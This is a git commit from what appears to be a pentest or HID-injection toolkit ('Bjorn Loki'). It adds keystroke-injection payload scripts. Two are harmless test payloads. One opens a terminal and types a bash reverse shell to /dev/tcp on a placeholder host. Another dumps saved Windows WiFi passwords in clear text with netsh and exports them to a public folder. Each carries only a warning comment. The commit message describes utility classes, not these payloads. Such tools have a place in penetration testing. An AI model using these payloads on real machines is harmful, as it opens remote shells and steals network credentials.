Add Loki and Sentinel utility classes for web API endpoints

- Implemented LokiUtils class with GET and POST endpoints for managing scripts, jobs, and payloads.
- Added SentinelUtils class with GET and POST endpoints for managing events, rules, devices, and notifications.
- Both classes include error handling and JSON response formatting.
This commit is contained in:
infinition
2026-03-14 22:33:10 +01:00
parent eb20b168a6
commit aac77a3e76
525 changed files with 29400 additions and 13136 deletions

View File

@@ -0,0 +1,9 @@
// Hello World — Test payload that types a message in Notepad (Windows)
layout('us');
delay(1000);
press("GUI r");
delay(500);
type("notepad\n");
delay(1000);
type("Hello from Bjorn Loki!\n");
type("HID injection is working.\n");

View File

@@ -0,0 +1,13 @@
// Reverse Shell (Linux) — Bash reverse TCP. Set LHOST/LPORT before use.
// WARNING: For authorized penetration testing only.
var LHOST = "CHANGE_ME";
var LPORT = "4444";
layout('us');
delay(1000);
// Open terminal (Ctrl+Alt+T is common on Ubuntu/Debian)
press("CTRL ALT t");
delay(1500);
type("bash -i >& /dev/tcp/" + LHOST + "/" + LPORT + " 0>&1\n");

View File

@@ -0,0 +1,6 @@
// Rickroll — Opens browser to a famous URL (harmless test)
layout('us');
delay(1000);
press("GUI r");
delay(500);
type("https://www.youtube.com/watch?v=dQw4w9WgXcQ\n");

View File

@@ -0,0 +1,20 @@
// WiFi Profile Exfiltration (Windows) — Dumps saved WiFi passwords via netsh
// WARNING: For authorized penetration testing only.
layout('us');
delay(1000);
// Open CMD
press("GUI r");
delay(500);
type("cmd\n");
delay(1000);
// Export all WiFi profiles with keys to a file
type("netsh wlan export profile key=clear folder=C:\\Users\\Public\n");
delay(3000);
// Show WiFi passwords inline
type("for /f \"tokens=2 delims=:\" %a in ('netsh wlan show profiles ^| findstr \"Profile\"') do @netsh wlan show profile name=%a key=clear 2>nul | findstr \"Key Content\"\n");
delay(5000);
console.log("WiFi profiles exported to C:\\Users\\Public");